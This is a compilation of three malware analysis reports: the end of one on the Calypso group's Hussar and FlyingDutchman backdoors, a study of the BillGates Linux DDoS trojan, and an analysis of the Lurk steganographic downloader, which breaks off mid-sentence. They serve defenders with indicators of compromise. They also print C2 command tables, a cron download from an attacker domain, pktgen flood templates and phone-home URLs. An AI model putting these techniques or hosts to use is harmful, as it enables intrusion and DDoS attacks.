of the packet that is sent after a module is launched without pipes (0x230E). | | 0x2D06 | From the malware | Response | ID of the packet that is sent after a module descriptor has been destroyed (0x2D06). | | 0x3F15 | From the malware | Response | ID of the packet that is sent after a module is launched with pipes. | | 0x32E0 | From the malware | Response | ID of the packet that is sent if there has been an attempt to reinitialize the pipes already created for a module. | | 0x34A7 | From the malware | Response | ID of the packet containing the data sent from the pipe to C2. | | 0x9F37 | From the malware | Response | ID of the packet containing the data forwarded from the TCP server to C2. | ## Network code Each packet has the following structure: ```c struct Packet { struct Header { DWORD rand_k1; DWORD rand_k2; DWORD rand_k3; DWORD szPayload; DWORD protoConst; DWORD packetId; DWORD unk1; DWORD packetKey; }; BYTE [max 0x2000] packetPayload; }; ``` Each packet has a unique key calculated as szPayload + GetTickCount() % hardcodedConst. This key is saved in the corresponding packetKey header field. It is used to generate another key for encrypting the packet header with RC4 (encryption will not occur without the packetKey field). RC4 key generation is demonstrated in the following figure. Then yet another RC4 key is generated from the encrypted fields szPayload, packetId, protoConst, and rand_k3. This key is used to encrypt the packet payload. Next, the shellcode forms the HTTP headers and the created packet is sent to C2. In addition, each packet gets its own number, indicated in the URL. Modules may pass their ID, which is used to look up the connection established during module launch. Module ID 0 is reserved for the main connection of the stager. ## Other options As we noted, the dropper may be configured to launch not just shellcode, but executable files too. We found the same dropper-stager but with different payloads: Hussar and FlyingDutchman. ### Dropper-stager The main tasks of this dropper are unpacking and mapping the payload, which is encoded and stored in resources. The dropper also stores encoded configuration data and passes it as a parameter to the payload. ### Hussar In essence, Hussar is similar to the shellcodes described earlier. It allows loading modules and collecting basic information about the computer. It can also add itself to the list of authorized applications in Windows Firewall. ### Initialization To start, the malware parses the configuration provided to it by the loader. Configuration structure is as follows: ```c struct RawConfig { DWORD protocolId; BYTE c2Strings[0x100]; }; ``` The protocolId field indicates the protocol to be used for communicating with C2. There are a total of three possibilities: - If protocolId equals 1, a TCP-based protocol will be used. - If protocolId equals 2, the protocol will be HTTP-based. - If protocolId equals 3, it will be HTTPS-based. The timestamp is calculated from the registry from the key SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony (Perf 0 value). If reading the timestamp is impossible, "temp" is added to the computer identifier. Next, Hussar creates a window it will use for processing incoming messages. Then the malware adds itself to the list of authorized applications in Windows Firewall, using the INetFwMgr COM interface. To complete initialization, Hussar creates a thread which connects to C2 and periodically polls for commands. The function running in the thread uses the WSAAsyncSelect API to notify the window that actions can be performed with the created connection (socket is "ready for reading," "connected," or "closed"). In general, for transmitting commands, the malware uses the window and Windows messaging mechanism. The window handle is passed to the modules, and the dispatcher has branches not used by the stager, so we can assume that the modules can use the window for communication with C2. ### Modules Each module is an MZPE file loaded into the same address space as the stager. The module must export the GetModuleInfo function, which is called by the stager after image mapping. | Identifier | Direction | Type | Description | |------------|-----------|--------|-------------| | 0x835 | From C2 | Command| Collect information on the infected computer (such as OS version, user name, computer name, and string containing current time and processor name based on registry data, plus whether the OS is 64-bit). | | 0x9CA4 | From C2 | Command| Load module. Module data comes from C2. | | 0xC358 | ??? | Command| Transmit data from LPAR AM to C2. | | 0xC359 | ??? | Command| Transmit C2 configuration to the module. Module ID is transmitted to LPAR AM. | | 0x834, 0x835, 0x838, 0x9CA4 | ??? | Command| Transmit the received packet to the module. Module ID is sent from C2. | ### FlyingDutchman The payload provides remote access to the infected computer. It includes functions such as screenshot capture, remote shell, and file system operations. It also allows managing system processes and services. It consists of several modules. | Module ID | CMD ID | Direction | Type | Description | |-----------|----------|-----------|--------|-------------| | 0xafc8 | 0xAFD3 | From C2 | Command| Module ping. Sends information about the infected computer (such as OS version and installed service packs, processor name, string containing current time and screen resolution, and information about free and used disk space). | | 0xAFD4 | From C2 | Command | Sends list of processes running on the system. | | 0xAFD5 | From C2 | Command | End process. Process PID is transmitted from C2. | | 0xAFD9 | From C2 | Command | Sends list of current windows on the system, along with their titles. | | 0xAFDA | From C2 | Command | Send WM_CLOSE message to a specific window. | | 0xAFDB | From C2 | Command | Maximize window. | | 0xAFDC | From C2 | Command | Minimize window. | | 0xAFDD | From C2 | Command | Show window. | | 0xAFDE | From C2 | Command | Hide window. | | 0xAFE0 | From C2 | Command | Sends list of current services on the system. | | 0xAFE1 | From C2 | Command | Modifies the status of an existing service. Service name is obtained from C2. It can launch a service or change its status to STOP, PAUSE, or CONTINUE. C2 indicates which status to change to. | | 0xAFE2 | From C2 | Command | Delete existing service. Service name is received from C2. | | 0xAFE3 | From C2 | Command | Change service start type. Service name is received from C2. | | 0xabe0 | 0xABEB | From C2 | Command | Module ping. Launch the process for transmitting screenshots from the infected computer. Screenshots are taken every second. | | 0xABEC | From C2 | Command | Pause screenshot capture process. | | 0xABF1 | From C2 | Command | Stop taking screenshots. The module stops running. | | 0xa7f8 | 0xA803 | From C2 | Command | Run cmd.exe plus a thread, which will read console output data from the related pipe and send it to C2. | | 0xA804 | From C2 | Command | Write command to the pipe linked to STDIN of the cmd.exe created previously. | | 0xA805 | From C2 | Command | Stop the cmd.exe process and all associated pipes. The module stops running. | | 0xa410 | 0xA41B | From C2 | Command | Sends information about system disks and their types. | | 0xA41C | From C2 | Command | Sends directory listing. The relevant directory path is obtained via C2. | | 0xA41E | From C2 | Command | Upload file from the computer to C2. | | 0xA41F | From C2 | Command | Run file. | | 0xA420 | From C2 | Command | Delete file. | | 0xA421 | From C2 | Command | Download file from C2. | | 0xA424 | From C2 | Command | Move file. | | 0xA425 | From C2 | Command | Create directory. | | 0xA426 | From C2 | Command | File Touch. | | 0xA428 | From C2 | Command | Sends the size of a file to C2. File path is passed via C2. | ## Conclusion The group has several successful hacks to its credit, but still makes mistakes allowing us to guess its origins. All data given here suggests that the group originates from Asia and uses malware not previously described by anyone. The Byeby trojan links the group to SongXY, encountered by us previously, which was most active in 2017. We keep monitoring the activities of Calypso closely and expect the group will attack again. ## Indicators of compromise ### Network - 23.227.207.137 - 45.63.96.120 - 45.63.114.127 - r01.etheraval.com - tc.streleases.com - tv.teldcomtv.com - krgod.qqm8.com ### File indicators #### Droppers and payload - C9C39045FA14E94618DD631044053824 - Dropper - E24A62D9826869BC4817366800A8805C - DLL - F0F5DA1A4490326AA0FC8B54C2D3912D - Shellcode - CB914FC73C67B325F948DD1BF97F5733 - Dropper - 6347E42F49A86AFF2DA7C8BF455A52A - DLL - 0171E3C76345FEE31B90C44570C75BAD - Shellcode - 17E05041730DCD0732E5B296DB16D757 - Dropper - 69322703B8EF9D490A20033684C28493 - DLL - 22953384F3D15625D36583C524F3480A - Shellcode - 1E765FED294A7AD082169819C95D2C85 - Dropper - C84DF4B2CD0D3E7729210F15112DA7AC - DLL - ACAAB4AA4E1EA7CE2F5D044F198F0095 - Shellcode #### Droppers with the same payload - 85CE60B365EDF4BEEBBDD85CC971E84D - Dropper - 1ED72C14C4AAB3B66E830E16EF90B37B - Dropper - CB914FC73C67B325F948DD1BF97F5733 - Dropper #### Payload without dropper - E3E61F30F8A39CD7AA25149D0F8AF5EF - DLL - 974298EB7E2ADFA019CAE4D1A927AB07 - Shellcode - AA1CF5791A60D56F7AE6DA9BB1E7F01E - DLL - 05F472A9D926F4C8A0A372E1A7193998 - Shellcode - 0D532484193B8B098D7EB14319CEFCD3 - DLL - E1A578A069B1910A25C95E2D9450C710 - Shellcode - 2807236C2D905A0675878E530ED8B1F8 - DLL - 847B5A145330229CE149788F5E221805 - Shellcode - D1A1166BEC950C75B65FDC7361DCDC63 - DLL - CCE8C8EE42FEAED68E9623185C3F7FE4 - Shellcode ### Hussar - 43B7D48D4B2AFD7CF8D4BD0804D62E8B - 617D588ECCD942F243FFA8CB13679D9C ### FlyingDutchman - 5199EF9D086C97732D97EDDEF56591EC - 06C1D7BF234CE99BB14639C194B3B318 ## MITRE ATT&CK | Tactic | ID | Name | |----------------------|--------|----------------------------------------------------| | Execution | T1059 | Command-Line Interface | | Persistence | T1060 | Registry Run Keys / Startup Folder | | | T1053 | Scheduled Task | | | T1158 | Hidden Files and Directories | | Defense Evasion | T1027 | Obfuscated Files or Information | | | T1085 | Rundll32 | | | T1064 | Scripting | | Credential Access | T1003 | Credential Dumping | | Discovery | T1087 | Account Discovery | | | T1046 | Network Service Scanning | | | T1135 | Network Share Discovery | | | T1082 | System Information Discovery | | Lateral Movement | T1097 | Pass the Ticket | | Collection | T1114 | Email Collection | | | T1113 | Screen Capture | | | T1005 | Data from Local System | | Command And Control | T1043 | Commonly Used Port | | | T1024 | Custom Cryptographic Protocol | | | T1001 | Data Obfuscation | About Positive Technologies is a leading global provider of enterprise security solutions for vulnerability and compliance management, incident and threat analysis, and application protection. Commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on Industrial Control System, Banking, Telecom, Web Application, and ERP security, supported by recognition from the analyst community. Learn more about Positive Technologies at ptsecurity.com.
# Versatile DDoS Trojan for Linux **Authors** Mikhail Kuzin In February 2014, an article was published on a popular Russian IT website under a curious title – *Studying the BillGates Linux Botnet*. It described a Trojan with sufficiently versatile DDoS functionality. The capability that we found the most interesting was the Trojan’s ability to conduct DNS Amplification-type attacks. In addition, it followed from the article that the Trojan had a sophisticated modular structure, something we had not seen in the world of Linux malware before. The article also provided a link for downloading all of the Trojan’s files (taken directly from an infected machine) – which is what we did. The archive that we downloaded contained the following files, which, according to the author of the article, were all modules of the same Trojan: - atddd - cupsdd - cupsddh - ksapdd - kysapdd - skysapdd - xfsdxd The files cupsdd and cupsddh are detected by Kaspersky Lab products as Backdoor.Linux.Ganiw.a; atddd and the remaining files are detected as Backdoor.Linux.Mayday.f. The archive with the files also contained a configuration file for cron – the Linux task scheduler. In this case, the utility is used by the Trojan as a means of getting a foothold in the system. The Trojan uses cron to perform the following tasks: 1. Once a minute – terminate the processes of all applications that can interfere with its operation: .IptabLes, nfsd4, profild.key, nfsd, DDosl, lengchao32, b26, codelove, node24 2. Approximately once in ninety minutes – terminate all of its processes: kysapd, atdd, skysapd, xfsdx, ksapd 3. Approximately once in two hours – download all of its components to the /etc folder from `http://www.dgnfd564sdf.com:8080/[module_name]` (module_name = name of the Trojan’s module, e.g., cupsdd), after deleting these files from the /etc folder 4. Once in ninety minutes – relaunch all of its modules 5. Every minute – purge system logs and bash command history and execute `chmod 7777 [module_name]` During subsequent analysis of the files, we did not find any code responsible for saving the config file for cron. Most likely, the file was manually downloaded to the victim machine by a cybercriminal after gaining remote access to the system. ## Backdoor.Linux.Mayday.f (atddd) The file atddd is a backdoor designed to conduct various types of DDoS attacks against the servers specified. As mentioned above, Kaspersky Lab products detect it as Backdoor.Linux.Mayday.f. The files kysapdd, skysapdd, xfsdxd, ksapdd are almost exact copies of atddd – with one exception, which is discussed later in the text. The backdoor starts its operation by calling the function `daemon(1, 0)`, continuing to run in the background and redirecting standard input, output and errors to `/dev/null`. Next, atddd collects relevant information about the system, including: 1. system version (by calling `uname()`) 2. number of CPU cores and their clock rates (taken from `/proc/cpuinfo`) 3. CPU load (taken from `/proc/stat`) 4. network load (data for interfaces with the “eth” prefix taken from `/proc/net/dev`) The information listed above is stored in the `g_statBase` structure. After this, the backdoor decrypts strings defining the C&C server’s IP address and port number. The encryption algorithm used is very simple: an encrypted string is taken character-by-character, with 1 added to the ASCII code of a character if its number is odd and subtracted from it if the character’s number is even. As a result, the string “3/3-2/4-269-85” yields the IP address “202.103.178.76”, while “2/:82” stands for port number “10991”. After this, atddd reads the configuration file `fwke.cfg`, which is located in the same folder with the malicious program. Information from the config file is saved in the `g_fakeCfg` structure. If the file does not exist, the backdoor attempts to create it and store the following information in it: 1st line: 0 //flag, if 1 then begin attack, if 0 then terminate attack 2nd line: 127.0.0.1:127.0.0.1 //range of outgoing IP addresses 3rd line: 10000:60000 //outgoing port range for an attack 4th line: an empty line //domain name in the case of DNS flood This information is subsequently sent to the C&C server and can be updated with a command from the C&C. Next, the backdoor creates a new thread, `CThreadTaskManager::ProcessMain()`, in which commands to begin an attack and terminate an attack are put into the execution queue. After this, a new thread is created – `CThreadHostStatus::ProcessMain()`. In this thread, data on CPU and network load is updated every second and can subsequently be sent to the C&C server if requested. After this, 20 threads are created, which read information from the task queue and, depending on the information read, launch an attack or terminate it. However, some of the threads may not be used in an attack if the relevant C&C command has a parameter (the number of threads to be used). Then the malware enters an endless loop of processing messages from the C&C. After a connection with the C&C is established, information about system version and CPU clock rate, as well as data from the `g_fakeCfg` structure, is sent to the C&C every 30 seconds. In response, the server should send 4 bytes, the first of which is the serial number of a command – from 1 to 4. Next, if the command has parameters, the C&C sends another 4 bytes defining the amount of data that will be sent (i.e., the parameters). Then the parameters themselves are sent; their size should match the number from the previous C&C response. ### About each command in greater detail: - **0x01. Command to launch an attack.** Parameters define the attack’s type and the number of threads to be used. The attack type is defined by a byte which can take values from 0x80 to 0x84. This means that 5 attack types are possible: - 0x80 – TCP flood. The destination port number is sent by the C&C in its response as a parameter. The source port range is defined in `fwke.cfg`. Each new request is sent from a new port within the range defined, in the ascending order of port numbers. The destination IP address is also defined in parameters. - 0x81 – UDP flood. The same as 0x80, but UDP is used as the transport layer protocol. - 0x82 – ICMP flood. Same as above, but via ICMP. - 0x83, 0x84 – two DNS flood attacks. The only difference is the domain name sent in the DNS request. In the former case, the name is generated randomly, in the second, it is defined in a parameter (the fourth line in `fwke.cfg`). Essentially, both attacks are similar to 0x81, except that port 53 (the default port for the DNS service) is used as destination port. - **0x02. Command to terminate an attack.** The value in the first line of `fwke.cfg` is changed to 0 and the attack is terminated. - **0x03. Command to update the file `fwke.cfg`.** The response also includes a structure similar to `g_fakeCfg`, data from which is used to create the new `fwke.cfg` file. - **0x04. Command to send the current command’s execution status to the C&C server.** In addition to the above, the backdoor includes several empty methods (without any code), which have curious names: `CThreadAttack::EmptyConnectionAtk`, `CThreadAttack::FakeUserAtk`, `CThreadAttack::HttpAtk`. Apparently, the malware writer had plans to extend the malicious program’s functionality, and this is a test version rather than a final version. The file cupsdd, which is discussed below, provides a confirmation of this. The files kysapdd, skysapdd, xfsdxd, ksapdd are almost identical copies of atddd, with the exception that they contain different C&C server addresses: 112.90.252.76:10991, 112.90.22.197:10991, 116.10.189.246:10991 and 121.12.110.96:10991, respectively. The names of their configuration files are also different: fsfe.cfg, btgw.cfg, fake.cfg, xcke.cfg, respectively. This means that, contrary to our expectations, the files atddd, kysapdd, skysapdd, xfsdxd, ksapdd are not modules of a single piece of malware but rather different copies of the same Trojan, each connecting to its own C&C server. However, this is not the most curious part of it by far. ## Backdoor.Linux.Ganiw.a (cupsdd) Like the files described above, this file is a backdoor designed to carry out various types of DDoS attacks. However, cupsdd is significantly more feature-rich and sophisticated than its ‘colleagues’, although in places its code is very similar to that found in atddd. The backdoor starts its operation by initializing the variables it needs from the string “116.10.189.246:30000:1:1:h:578856:579372:579888” (separator – “:”), which it first decrypts using the RSA algorithm. The string contains the following variables: - `g_strConnTgt=116.10.189.246` – C&C server’s IP address - `g_iGatsPort=30000` – C&C server’s port - `g_iGatsIsFx=1` and `g_iIsService=1` – flags used later - `g_strBillTail=h` – postfix for the name of the file that will be dropped Next, the malware drops and executes a file, which is located at offset 0xb1728 from the beginning of the original file and is 335872 bytes in size, provided that the file is not already running. The malware checks whether the file is running by trying to bind a socket to 127.0.0.1:10808. If the attempt is successful, it means that the file is not running, and it needs to be dropped and executed. If the file is already running, its process, whose PID can be found in the file `/tmp/bill.lock`, is terminated (`kill(pid, 9)`). Then the file is dropped anyway, replacing the existing copy. The name of the file that is dropped is generated from the name of the current file that is running + postfix from the variable `g_strBillTail`. In our case, the file was named cupsddh and was located in the same folder with the dropper. After this, the current process forks and the child process calls the function `system(“/path/to/cupsddh”)`, which executes the file dropped. Next, the function `daemon(1, 0)` is called, for the same purpose as in the case of the sample described above (atddd). After this, the malware handles the situation if cupsdd was executed earlier and is currently active. For this purpose, it checks whether the file `/tmp/gates.lock` exists. If it does exist, the current process is terminated (`exit(0)`). If not, the file (`/tmp/gates.lock`) is created and the PID of the current process is written to it. Then, if flag `g_iIsService == 1`, the backdoor sets itself to run at system startup by creating the following script named `DbSecuritySpt` in `/etc/init.d/`: ```bash #!/bin/bash /path/to/cupsdd ``` The malware also creates symbolic links to the script in `/etc/rc[1-5].1/S97DbSecuritySpt`. Next, the malware reads the configuration file `conf.n` (if it exists) from the same folder as the one in which cupsdd is located. The first 4 bytes of the file define the size of the data which follows. All the data is stored in the structure `g_cnfgDoing`. Then the malware reads the file containing commands – `cmd.n`. The format is the same as in `conf.n`. The data is stored in the structure `g_cmdDoing`. After this, the malware obtains all the necessary information about the system, including: - The operating system’s name and kernel version (e.g., Linux 3.11.0-15-generic), by calling `uname()` - CPU clock rate, taken from `/proc/cpuinfo` - Number of CPU cores, taken from `/proc/cpuinfo`, and CPU load, taken from `/proc/stat` - Network load, taken from `/proc/net/dev` - Hard drive size in megabytes, taken from `/proc/meminfo` - Information about network interfaces, taken from `/proc/net/dev` All the data is stored in the structure `g_statBase`. Next, a new stream, `CThreadTaskGates::ProcessMain`, is created, in which the following commands are processed: - **0x03. DoConfigCommand().** Update the configuration file `conf.n`. - **0x05. DoUpdateCommand().** Start a new thread, `CThreadUpdate::ProcessMain`, in which update one of its components. The command accepts a number from 1 to 3 as a parameter. Each of the numbers is associated with one of the following strings: 1 – “Alib” – the file `/usr/lib/libamplify.so` 2 – “Bill” – the dropped module (cupsddh) 3 – “Gates” – the dropper (cupsdd) Depending on the parameter, one of the malicious program’s components is updated. An update is launched by sending 6 bytes containing the string “EF76#^” to the C&C server, followed by one of the strings described above (depending on the parameter). The C&C responds by sending 4 bytes containing the length (in bytes) of the file that will be transferred next. Then the C&C transfers the file itself in 1024-byte packets. First, the file is saved in the `/tmp` folder under a random name consisting of digits. Then, depending on the file that was received, the existing file cupsdd (or cupsddh) is replaced or the file is copied to `/usr/lib/libamplify.so`. Next, the temporary file is deleted from `/tmp`, and the `chmod` command is used to set 755 permissions for the resulting file. After this, in the case of updating cupsddh, the active process is terminated and the new file is launched. In the case of updating cupsdd, the final stage (starting from copying a file from `/tmp`) is carried out by cupsddh, to which the relevant command is sent. - **0x07. DoCommandCommand().** Write a new command to `cmd.n`. - **0x02. StopUpdate().** Close the current connection, which was established in order to update modules. Next, the backdoor starts several threads, in which it simultaneously performs several additional operations: - `CThreadClientStatus` updates the data on CPU and network load in the `g_statBase` structure every second. - `CThreadRecycle` removes completed tasks from the queue. - `CThreadConnSender` reads commands from the queue and passes them to the cupsddh module via a TCP connection with 127.0.0.1 on port 10808. In response it receives the status of their execution. - `CThreadMonBill` checks whether the module cupsddh is running once every minute. If not, it drops and executes it again. - `CThreadLoopCmd` reads commands from `g_cmdDoing` (the file `cmd.n`) and executes them using the call `system(cmd)`. Next, the main thread enters the loop of receiving and processing commands from the C&C server. There are two possibilities in this case, depending on the `g_iGatsIsFx` flag: 1. If the flag is set (==1), the malware simply uses the new thread to send information about the system and the current configuration from `g_cnfgDoing` to the C&C and waits to receive commands in response, like the sample (atddd) described above; 2. If the flag is not set, then the communication session is initiated by the C&C. In other words, the malware waits for the C&C to connect and begins to transfer the data mentioned above only when a connection has been established. Commands received from the C&C are divided into two queues: either for execution in the current module (in the thread `CThreadTaskGates` described above) or for passing to the cupsddh module (`thread CThreadConnSender`). ## Backdoor.Linux.Ganiw.a (cupsddh) The file is packed with UPX. After being unpacked, it calls `daemon(1,0)`. It creates the file `/tmp/bill.lock`, in which it stores the PID of the current process. cupsddh stores system data in the structure `g_statBase`, which is identical to that used by cupsdd. Next, it populates the structure `g_provinceDns` with the IP addresses of DNS servers converted to binary data in network byte order using the function `inet_addr()`, taking data from the string array `g_sProvinceDns` (offset in unpacked file: 0x8f44с, size 4608 bytes). cupsddh executes command `insmod /usr/lib/xpacket.ko` in an attempt to load the kernel module into the kernel. However, the file is not present on ‘clean’ systems, and the malware does not make any attempt to download it or obtain it in any other way. Next, data from the file `/usr/libamplify.so` (as it turns out, this is not a library but one more config file) is loaded into the structure `g_AmpResource`. The file has the following format: 1st dword is the number of dwords that follow. Apparently, it contains the list of IP addresses for DNS servers that are currently relevant, i.e., those suitable for DNS Amplification type DDoS attacks. After this, the module creates two threads: `CThreadTask` and `CThreadRecycle`. The former executes commands from a queue comprising commands which came from the cupsdd module. The latter removes commands that have been executed. Next, the main thread binds a socket to 127.0.0.1:10808 and enters an endless loop, receiving commands from the cupsdd module and putting the commands received into the above queue. The following commands are possible: - **0x01. Start an attack according to the parameters received.** See a more detailed description below. - **0x02. Terminate the current attack, setting the relevant flag.** - **0x03. Update the current configuration in the `g_cnfgDoing` structure, which is used during an attack. Also, update the current local MAC address, as well as the MAC and IP address of the current gateway in the structure `g_statBase`. - **0x05. The final stage of updating the cupsdd module (described above).** ### Two main attack modes are possible: normal mode and kernel mode. **Kernel mode** This mode uses pktgen, a kernel-level packet generator built into Linux. Its advantage to the attacker is that traffic is generated with the greatest speed possible for the given network interface. In addition, the packets generated in this way cannot be detected using ordinary sniffers, e.g., the standard tcpdump, since packets are generated at kernel level. The packet generator is controlled using a set of scripts/configs in the `/proc/net/pktgen` folder, but the module pktgen must first be loaded into the kernel by calling the command `modprobe pktgen`. However, I did not find any such calls. Apparently, the call `insmod /usr/lib/xpacket.ko` is used instead, although, as mentioned above, the file is absent from the system by default. As a result, kernel mode is not operational in this version of the malware. Nevertheless, the malware attempts to write several files to the `/proc/net/pktgen` folder, namely: 1. the file `/proc/net/pktgen/kpktgend_%d` for each CPU core, where %d is the core number, beginning from 0. The file’s contents is as follows: ``` rem_device_all add_device eth%d max_before_softirq 10000 ``` 2. the file `/proc/net/pktgen/eth%d` for each CPU core, where %d is the core number, beginning from 0. The file’s contents is as follows: ``` count 0 clone_skb 0 delay 0 TXSIZE_RND min_pkt_size %d max_pkt_size %d IPSRC_RND src_min %s src_max %s UDPSRC_RND udp_src_min %d udp_src_max %d dst %s udp_dst_min %d udp_dst_max %d dst_mac %02x:%02x:%02x:%02x:%02x:%02x //MAC address of the gateway from g_statBase is_multi %d multi_dst %s //if there are several addresses to be used in an attack (i.e., if the value in the previous line is not equal to 0), they are set in these lines, the number of which matches the previous parameter pkt_type %d dns_domain %s syn_flag %d is_dns_random %d dns_type %d is_edns %d edns_len %d is_edns_sec %d ``` The values of most pktgen parameters are passed from cupsdd via command parameters. 3. the file `/proc/net/pktgen/pgctrl`, which contains the string “start”. **Normal attack mode** As in the case of atddd, normal attack mode uses raw sockets. The following attack types are possible in this mode: - CAttackSyn – TCP-SYN flood. - CAttackUdp – UDP flood (as in the case of atddd). - CAttackDns – DNS flood (as in the case of atddd). - CAttackIcmp – ICMP flood (as in the case of atddd). - CAttackCc – HTTP flood. - CAttackAmp – DNS Amplification. The last attack type on the list above is different in that packets are sent to vulnerable DNS servers, with the attack target specified as the sender’s IP address. As a result, the cybercriminal sends a small packet with a DNS request and the DNS server responds to the attack target with a significantly larger packet. The list of vulnerable DNS servers is stored in the file `libamplify.so`, which is written to disk following the relevant command from the C&C. ## Post Scriptum. BillGates v1.5 This version of the Trojan appeared a little later and is probably currently the latest. Essentially, this is the same cupsdd, only a little ‘shaped up’. Overall, there is more logic in the code, plus there are a couple of new functions. The most significant changes were made to the Gates module, i.e., the file cupsdd. Now it has three operating modes. The choice of mode is based on the folder from which the file is launched. Specifically, if it is launched from `/usr/bin/pojie`, then monitoring mode is enabled, otherwise the module operates in installation and updating mode, which is later superseded by the mode in which it controls the Bill module. 1. **Installation and updating mode.** First, the module terminates its process working in monitoring mode, if it exists. Its PID is kept in the file `/tmp/moni.lock`. Next, it reinstalls and re-launches the Bill module. Next, if a process working in the ‘controlling the Bill module’ mode exists, that process is terminated. Its PID is kept in the file `/tmp/gates.lock`. If the flag `g_iIsService` is set (it is defined in the same way as in the previous version), the module sets itself to run at system startup in the same way as before. Next, the module writes its path to the file `/tmp/notify.file` and then copies itself to the file `/usr/bin/pojie`. After this, it launches its copy, which is, obviously, set to run in monitoring mode, and then changes its own operating mode to controlling the Bill module. 2. **Monitoring mode.** Writes the PID of the current process to the file `/tmp/moni.lock`. Next, it starts two threads – one to monitor the Bill module and the other to monitor the Gates module operating in controlling Bill mode. If one of these processes is currently not running, the relevant file is created and launched again. 3. **Controlling the Bill module mode.** The actions of the Gates module are exactly the same as they were in the previous version of the Trojan (after installing the Bill module and initializing the relevant variables and structures of the Trojan). To summarize, in the new version of the Trojan its authors have added a little ‘robustness’ without making any significant functionality changes. It is also worth noting that the hard-coded IP address of the C&C server has remained the same (116.10.189.246) in this version, but the port number has changed – it is now 36008 instead of 30000 in the previous version.
# Malware Analysis of the Lurk Downloader **Author:** Brett Stone-Gross, Ph.D., Dell SecureWorks Counter Threat Unit **Date:** 7 August 2014 ## Overview Lurk is a malware downloader that uses digital steganography: the art of hiding secret information within a digital format, such as an image, audio, or video file. Lurk specifically uses an algorithm that can embed encrypted URLs into an image file by inconspicuously manipulating individual pixels. The resulting image contains additional data that is virtually invisible to an observer. Lurk's primary purpose is to download and execute secondary malware payloads. In particular, the Dell SecureWorks Counter Threat Unit™ (CTU) research team has observed Lurk dropping malware used to commit click fraud. Some malware families, notably the KINS banking trojan (which is based on leaked Zeus source code and is also known as ZeusVM), have incorporated non-digital steganographic techniques. The most commonly used method simply appends data (such as a configuration file or a command) to the end of an image file. These modifications are relatively easy to detect by a commercially available intrusion prevention system (IPS) or intrusion detection system (IDS). In contrast, it is unlikely that existing IPS/IDS devices could detect data that is concealed with digital steganography. As a result, Lurk may be able to evade network defenses and hide in plain sight. ## Malware Distribution Distribution of the Lurk malware was first described in February 2014 by a security researcher known as Kafeine. At the time, Lurk was being propagated through an HTML iFrame on compromised websites that loaded a Flash-based exploit for CVE-2013-5330. If a person visiting one of these websites was running a vulnerable version of Adobe Flash, the exploit dropped a DLL file and executed the Lurk malware. When CTU researchers began investigating Lurk, they found very little published information about the malware's behavior, operation, and function. This lack of information may be due to Lurk's unconventional implementation and use of digital steganography. ## Lurk Dropper Lurk consists of two components: a dropper DLL and a payload DLL. The dropper DLL’s main purpose is to extract and load the payload DLL. The Lurk dropper DLL contains several exports that appear to be legitimate, but in fact lead to garbage code designed to mislead antivirus products and security researchers. Lurk's real dropper code is contained in the DLLMain function. In some Lurk samples, the malware payload is embedded as data in the resource section. The extraction code begins by deriving an XOR key that is used to decrypt the payload DLL. The key is obtained by performing an XOR operation on a hard-coded value of length N with the first N bytes of the embedded data. After deriving the key, the malware payload is decoded by performing another XOR operation on each byte of data from offset N with each byte of the XOR key. Some Lurk variants load a bitmap image from the resource section of the dropper DLL. The seemingly random noise in the right-half of the images is the actual malware code that is extracted by calling several Windows graphics API functions. ## Behavior After the main Lurk payload DLL executes, it checks the infected system for the installation of 52 different security products by searching the registry for keys under `HKEY_LOCAL_MACHINE\Software` and `HKEY_CURRENT_USER\Software`. If Lurk detects any of the 21 products indicated in bold italics, it does not install itself on the infected system. If the check does not reveal any of the 21 products, Lurk adds the detected products to an integer array list that is sent to the command and control (C2) server. Lurk installs itself on the infected system by copying itself to a temporary directory via the `GetTempPathA` Windows API function. It uses a filename assigned by `GetTempFileNameA` appended with a ".tmp" extension. The malware establishes persistence by creating the registry key: `HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{A3CCEDF7-2DE2-11D0-86F4-00A0C913F750}\InProcServer32`, with the default value set to the path of the Lurk DLL in the temporary directory and the `ThreadingModel` value set to "both." The registry keys ensure that Lurk's DLL will be loaded into the process space of the COM client executable specified by the CLSID "A3CCEDF7-2DE2-11D0-86F4-00A0C913F750," which corresponds to Internet Explorer's PNG plugin image decoder. This is important because Lurk will only run in the context of Internet Explorer (iexplore.exe) or Firefox (firefox.exe). ## Phone Home Lurk is heavily obfuscated and uses several custom algorithms to encrypt strings for its C2 servers, imports, registry keys, and security products searches. After deobfuscating the C2 server strings, the URLs appear similar to the following: ``` hxxp://wxyz.alphaeffects.net/lolo/ hxxp://wxyz.mesjunio.com/lolo/ hxxp://95.211.169.162/lolo/ ``` The malware then appends five parameters to the path. The first parameter is a hard-coded value that appears relatively consistently across samples as 30 or 31, which may indicate the malware's version number. The constant is followed by the volume serial number of the infected system (converted to decimal), another hard-coded constant that varies across samples, and an array of integers that represents the installed security products, appended with an ".html" extension. The malware computes a unique four-character subdomain that is dependent on the volume serial number, which replaces the "wxyz" string in the example URLs. For the first hard-coded domain, the calculation takes each byte of the volume serial number modulo 26 and adds the ordinal value of lowercase 'a' to derive each character. The result is a lowercase letter 'a' through 'z'. For instance, the subdomain for volume serial number 0x5802a4a2 (little endian) is "gick". The second domain uses the same algorithm, except '22' is added to each byte of the volume serial number. The Lurk C2 domains use wildcard DNS to resolve all subdomains. The phone-home request has the following format: ``` GET /lolo/30/1476568226/50095/000103.html User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) Host: gick.alphaeffects.net Cache-Control: no-cache ``` The malware can be configured to send the phone-home request over HTTP on port 80 or over HTTPS on port 443 to make signature-based network detection more difficult without performing an SSL man-in-the-middle attack. The reply from the C2 server is a bitmap image that contains a URL of where to download a malware executable. The URL is encrypted and embedded in the bitmap image using steganography. ## Extracting the Download URL Through Steganography Lurk hides the downloader URLs using a steganographic technique that embeds information in the least significant bit (LSB) of every byte. The malware embeds its data in the individual color pixels that form a bitmap image. To understand how the data is encoded, each byte can be converted into binary: ``` 0xff = 11111111 0xfe = 11111110 ``` The least significant bit is shown in bold. A value of 0xff is used to encode a 1, and 0xfe is used to encode a 0. Using this algorithm, Lurk can encode one bit of information for every eight bits (or 1 byte) of data. Changing the least significant bit has a minimal impact on a pixel's color. After the bytes are extracted from the image, the URL is encrypted with a custom string obfuscation algorithm. The following URL results from this image after extraction and decryption: ``` hxxp://zvld.alphaeffects.net/d/1721174125.zl ``` Lurk issues an HTTP GET request to the URL specified in the bitmap image and downloads the payload. The payload is obfuscated using a 